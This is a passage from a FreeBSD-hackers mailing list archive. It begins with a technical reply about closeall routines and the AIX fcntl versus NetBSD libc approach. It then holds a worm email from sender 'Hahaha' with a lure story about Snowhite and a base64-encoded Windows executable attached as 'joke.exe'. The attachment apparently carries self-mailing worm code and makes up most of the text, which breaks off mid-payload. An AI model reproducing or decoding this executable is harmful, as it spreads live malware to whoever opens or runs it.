AIX equivalent using fcntl(). > We should not create a syscall (it's unnecessary)... if you > want a fdcloseall() function call, it should be in libc and > use the fcntl. Note that Luigi was asking for a generic syscall mechanism, and was only using fdcloseall as an example of how that might be used. [it was I who made the mistaken-assumption that any closeallfds routine would be somewhere in the kernel. I have no idea why I thought that...] > I would support one or the other, but not both. I'd recommend > the AIX fcntl API, since it's been around a whole lot longer. > > -Matt Mouss mentioned that NetBSD has a closeall function in it's libc, and it sounded like he was going to mimic that instead of the fcntl change. If I were going to mimic something, I'd rather mimic netbsd than some feature which exists only in AIX. And as I mentioned in my previous message, I think the AIX strategy warps the definition of the fcntl routine, so I was not too fond of it even if there hadn't been any BSD-based alternative to follow. -- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 0:27:15 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by hub.freebsd.org (Postfix) with ESMTP id 309C737B404; Mon, 29 Jan 2001 00:26:46 -0800 (PST) Received: from pc6 ([63.198.206.36]) by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with SMTP id <0G7X00J6V0NLJN@mta6.snfc21.pbi.net>; Mon, 29 Jan 2001 00:23:48 -0800 (PST) Date: Mon, 29 Jan 2001 00:23:48 -0800 (PST) Date-warning: Date header was inserted by mta6.snfc21.pbi.net From: Hahaha Subject: Snowhite and the Seven Dwarfs - The REAL story! To: wilko@FreeBSD.ORG, sthaug@nethelp.no, hackers@FreeBSD.ORG Message-id: <0G7X00J6W0NLJN@mta6.snfc21.pbi.net> MIME-version: 1.0 Content-type: multipart/mixed; boundary="--VECHUNOX270T6NOHE34LAFGPM38LEB" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ----VECHUNOX270T6NOHE34LAFGPM38LEB Content-Type: text/plain; charset="us-ascii" Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and polite with Snowhite. When they go out work at mornign, they promissed a *huge* surprise. Snowhite was anxious. Suddlently, the door open, and the Seven Dwarfs enter... ----VECHUNOX270T6NOHE34LAFGPM38LEB Content-Type: application/octet-stream; name="joke.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="joke.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAALRMzSEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABQRQAATAECAAAAAAAAAAAAAAAAAOAADwELAQAAAFYAAAAAAAAAAAAAABAA AAAQAAAAAAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAhwAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAAGAAAAAQAACoVAAAAAIA AAAAAAAAAAAAAAAAACAAAOAucmRhdGEAAAAQAAAAcAAAWgAAAABYAAAAAAAAAAAAAAAAAABAAADA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADr FqhUAABJQkpHTElPSQAQDEhZQlJJUwD8aExwQAD/FQBwQACjCiNAAIPEhIvMUOh8AAAAXqE1Cifa HPo3yJDnSLXJ7t3FOxTtOKRv+GfTc+pR9O6i/AuJNOIiPrxC4Cq53H5sNXfMXjVguFwJrFAYrHHj SiXLG3Lv+wdKT1hwcrOTfD7rduGAY5LvseJ7FEQYpBTblO28PiFdANOtfu+nOGbHGCUuPV1gfpLV ICaXTlFqH+jWCAAAagPHRCR8IIO47V0xLSsXQAAxLVEXQACLLQIQQABqQGgAMAAAVWoA/1QkSIXA D4TKBAAAUFVQ/1QkSAEsJF+FwI21ABBAAA+FsQQAAGhMTAAAaDMyLkRoV1MyX1T/VCQwhcBYWFgP hJIEAABQ/1QkKP2H6fOkxgfrgcc4AQAA/+f86L8HAADGhZwFAADrxoX0AQAAPImNmAUAAIHsBAEA AIv0gcTA/v//aAQBAABW/5QkkAIAAIXAD4QiBAAAjTwGuFxXU0+rNR8cYH2rNW0Pf36rK8CrVFb/ lCSMAgAAi9hDD4T4AwAAK+1Q/5QknAIAADlsJBwPheQDAABqEotEJCQr0ln38YP6EA+ExQMAAGiA AAAAVv+UJHwCAACFwHQcVWiAAAAAagNVVWgAAADAVv+UJHgCAACL2EB1butnaAQBAABqQP+UJLQC AACFwHRV6PAGAADGhfQBAADriYWYBQAAxoWcBQAAPDP/l+iUCAAAV1bzpIPvC411BqWlq19eagFW V/+UJMACAACFwA+FQv///8eEJLwCAAAAAAAAxoWcBQAA6+kWAwAAU4t0JCSBxgAAAQBVVlVqBFVT /5QkdAIAAIXAD4TWAgAAUFZVVWoCUP+UJHACAACFwA+EnAIAAFD/dCQsUP+UJJQCAACFwIsEJA+F fQIAAGAPtxgDQDxQaPgAAABQ/5QkuAIAAIXAWA+FXgIAADMY6CcGAACB8x0fAACLTQIPhUgCAABm 90AWACExQAgPt1gGD4Q1AgAAa9sojZQY+AAAAIt67Itq5Ita6AFK6AFK4MdC/EAAAMCLcDhOAXLg 99YhcuCLcug5cuBzBYly4OvnUYtK4ANK5IlIUFkD+41UHQCNqtASAAADfCQcUlXoqgUAAIv1UfOk XSv9iZf3EgAAK/Vdh2goib7hAwAAia/jEgAAlYtEJFBqEgNNPEkDwffRVeh1BQAAA0UCI8Er0l1Z 9/GZQED34UhIiUQkUP90JCSNtQQBAAAPt00Gi314i9+tUCvYrSvYcgZYg+7g4u+tUOguBAAAMX8E i38c6CMEAABeXofN6CIFAABbXlNqA7sgg7jtXY2GbgsAAIvQhwSvg+30K8KD6F2Jg8cLAACNhjYe AACL0IcEr0Urwi3eAAAAiYMQHwAAjYbvEQAARYvQRYcEryvCLYEAAACJg2wSAACNhucSAACLk+MS AAApg+MSAACF0nUGiZPjEgAAaAABAADocwcAAP7Egetw7P//iYN0////llKJk2////9fhf91Covy ibN0////6x0DuQwBAAAruQQBAAADPCSLB4lDzGr/6DMHAACJA4fx4wgAB67ByAji+IfxW4lxWIm0 JOgCAACLbCRMh/NVh83R6WatZgPQZoPSAOL1WAPCiUVY6CkEAACAvfQBAAA8dFCNtCRsAQAAagRW /7WYBQAA/5Qk2AIAAIXAdS5obWUAAGhSZW5hi8xoSU5JAGhOSVQuaFdJTklU/7WYBQAAVlH/lCTs AgAAg8QUxoWcBQAA62H/lCS8AgAA/5QkaAIAACvtVVX/dCQs/3QkDP+UJIQCAAD/NCT/lCSUAgAA jUQkGFCD6AhQg+gIUP90JAz/lCSMAgAA/5QkZAIAAI2cJEABAAD/NCRT/5QkfAIAAOsLx4QkvAIA AAAAAABo6ABRADwK/zQk/5QkwAIAAP+UJHACAACBxEQCAAC/BAEAACvni9wr54vsV1VqAP+UJHgC AABXU/+UJFQCAACLyIvRi/uL9aw6B3QGNCA4B3UDR+LyjTwTsFyquE9FS0SruEpOSUaruNG6p7r3 0KsrwKuDvCSAAgAAAA+EaAEAAIXJD4S5AAAAagNoAAAAgFXoqAEAAIvwQA+EkAEAAGgAAAIAakD/ lCR4AgAAi/hqAOixAgAAge16+f//VWgAAAIAV1b/lCRoAgAAVv+UJCgCAABqAmgAAABAU+heAQAA i+hAdFWNtCQAAQAAagBWaCCDuO1XVf+UJGwCAABQUGr/av/oLQUAAA+30OglBQAAD7fAgOQPgMQe VFJQ/5QkfAIAAIvEUFBQVf+UJFQCAABYWFX/lCQoAgAAV/+UJDQCAABqAGhQSTMyaEFEVkFU/5Qk OAIAAFlZWWhRPE7OaF7Stp5o2bCuwovMg+wMi9RQUVJqA+h/AgAAXltfg8QMVFRoBgACAGoA6NoB AACB7f73//9VaAEAAIBWi/VqEFmBNiCDuO2t4vde/9ZahcB0FlBUaAYAAgBqAFVoAgAAgP/WhcBa dWlSjbQkCAEAAFboUwMAAIcMJFFqAWoAagBS/9P/14HxIIO47YXJdUKL7GoEagBV/5QkcAIAAIXA dTBoTlVMAIvMaG1lAABoUmVuYYvUaElOSQBoTklULmhXSU5JVFVRUv+UJIgCAACDxBiBxAgCAAD/ NCT/NCTCdAArwFBogAAAAP90JBRQagP/dCQc/3QkHP+UJEwCAADCDAADfCQEK3wkCAN8JAzDc+ze mVfiyoh8ztGOUuzLgkb35LpJ7dyCV/DkrlXxyohO9+6IUvDRgk7f6phOzNaORYO47Qjgkc125tuD QYO47WCH/ovui10Ai3UEM8mLxsHgBIvWweoFM8KL1jPRA8KL0YPiAwMElwPYgcG5eTeei9PB4gSL w8HoBTPQi8MzwQPQi8HB6AuD4AMDFIcD8oH5IDfvxnW3iV0AiXUEYcNgh/6L7otdAIt1BLkgN+/G i9PB4gSLw8HoBTPQi8MzwQPQi8HB6AuD4AMDFIcr8oHBR4bIYYvGweAEi9bB6gUzwovWM9EDwovR g+IDAwSXK9iFyXW7iV0AiXUEYcPoAAAAAF2Bxf72///DQetW89CFLt9rmvNIEg6q973wG3KAvaix UJTSRed0Rce/4CEZ5ZsiSo/xDNA2CYvMLHIzMkfPsppRi4ToHGuYCPg9hG/7sX0zDw56vkBpng2X JvfX7qX5do2hPCAR+S1lusPlQWOkYLA4bev3UoepJgqI5W08F0qVd3tDEzOPh2wAAAAAi1QkEIty PI10MniLNo10FhitUK1QrZNdWa2Wh/P32ivyK+or2iv/R61gK8KWagBZrITAdBQyyLAI0elzBoHx IIO47f7IdfLr54t0JCyLVCQkh9GtK8J0CeL5YUl1ycIQAE8PtwR7i0SFAANEJDCLdCQoSYkEjuvi TThakDgDZgIECXH/gbjCkQFAwhXGgAkOtEzNIRUB6xhQRQhMAVMCFM7gAw8BC5VsKRCmBKWeKAzI bwTvFCziApwH3FPpCMpHWz4DCOfSKAoB9UAudGV456sOkck8B+AgkgsHLnJkYXQqJFFaSkzSTg7A FQH/qu/gzP8l4BBwQXQ4VAEPMNUQG8pMDDUgLzdWMDsRgEdldE1vZHV3bB1IYW72DJbgSxxFUk7D TDMyLnEemwd3UwAAVlAryayEwHQDQev4WF7DYIt0JCSLfCQo/LKApOhoAAAAc/gzyehfAAAAcxoz wOhWAAAAcyBBsBDoTAAAABLAc/d1PKrr1uhKAAAASeIQ6EAAAADrKKzR6HRLE8nrHJFIweAIrOgq AAAAPQB9AABzCoD8BXMGg/h/dwJBQZWLxVaL9yvw86Re65MC0nUFihZGEtLDM8lB6O7///8Tyejn ////cvLDK3wkKIl8JBxhwggAYOgjAAAAi2QkCGRnjwYAAMcEJEwnAADoc/3///+VzBIAAGH5G8DC DAAr22T/M2SJI4tEJDBmi1gCU4tABFBqAuh0EAAAWFtyB6kIAAAAdbpkZ48GAABYYemXaP//VVFS uCiqTwS5bU7GQffhBTkwAAAl////B+gU/f//iYXPCwAAi0wkECvS9/GSWlldwgQAyAgBAGD8i30Q i9czwLkgAAAA86v/Aot1FI29+P7//7kgAAAA86WLRQzorAIAAIld/MdF+AAAAACH24tFDItV+A+j EHMIi1UQ6BkAAACNlfj+///oDgAAAP9F+P9N/HnaYcnCEACQjb14////M8CJB4lHBIlHCIlHDIlH EIlHFIlHGIlHHIlHIIlHJIlHKIlHLIlHMIlHNIlHOIlHPIlHQIlHRIlHSIlHTIlHUIlHVIlHWIlH XIlHYIlHZIlHaIlHbIlHcIlHdIlHeIlHfI2F+P7//+gCAgAAh9vRJ9FXBNFXCNFXDNFXENFXFNFX GNFXHNFXINFXJNFXKNFXLNFXMNFXNNFXONFXPNFXQNFXRNFXSNFXTNFXUNFXVNFXWNFXXNFXYNFX ZNFXaNFXbNFXcNFXdNFXeNFXfOisAQAAjYX4/v//D6MYD4PFAAAAiwKLSgQBBxFPBItCCItKDBFH CBFPDItCEItKFBFHEBFPFItCGItKHBFHGBFPHItCIItKJBFHIBFPJItCKItKLBFHKBFPLItCMItK NBFHMBFPNItCOItKPBFHOBFPPItCQItKRBFHQBFPRItCSItKTBFHSBFPTItCUItKVBFHUBFPVItC WItKXBFHWBFPXItCYItKZBFHYBFPZItCaItKbBFHaBFPbItCcItKdBFHcBFPdItCeItKfBFHeBFP fOjaAAAAh9tLD4nB/v//iweLXwSLTwiLdwyJAolaBIlKCIlyDItHEItfFItPGIt3HIlCEIlaFIlK GIlyHItHIItfJItPKIt3LIlCIIlaJIlKKIlyLItHMItfNItPOIt3PIlCMIlaNIlKOIlyPItHQItf RItPSIt3TIlCQIlaRIlKSIlyTItHUItfVItPWIt3XIlCUIlaVIlKWIlyXItHYItfZItPaIt3bIlC YIlaZIlKaIlybItHcItfdItPeIt3fIlCcIladIlKeIlyfMOH27v/AwAAD6MYcgNLdfjDh9uLdQiL R3yLTnw7wXLwD4c1AgAAi0d4i054O8Fy4A+HJQIAAItHdItOdDvBctAPhxUCAACLR3CLTnA7wXLA D4cFAgAAi0dsi05sO8FysA+H9QEAAItHaItOaDvBcqAPh+UBAACLR2SLTmQ7wXKQD4fVAQAAi0dg i05gO8EPgnz///8Ph8EBAACLR1yLTlw7wQ+CaP///w+HrQEAAItHWItOWDvBD4JU////D4eZAQAA i0dUi05UO8EPgkD///8Ph4UBAACLR1CLTlA7wQ+CLP///w+HcQEAAItHTItOTDvBD4IY////D4dd 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 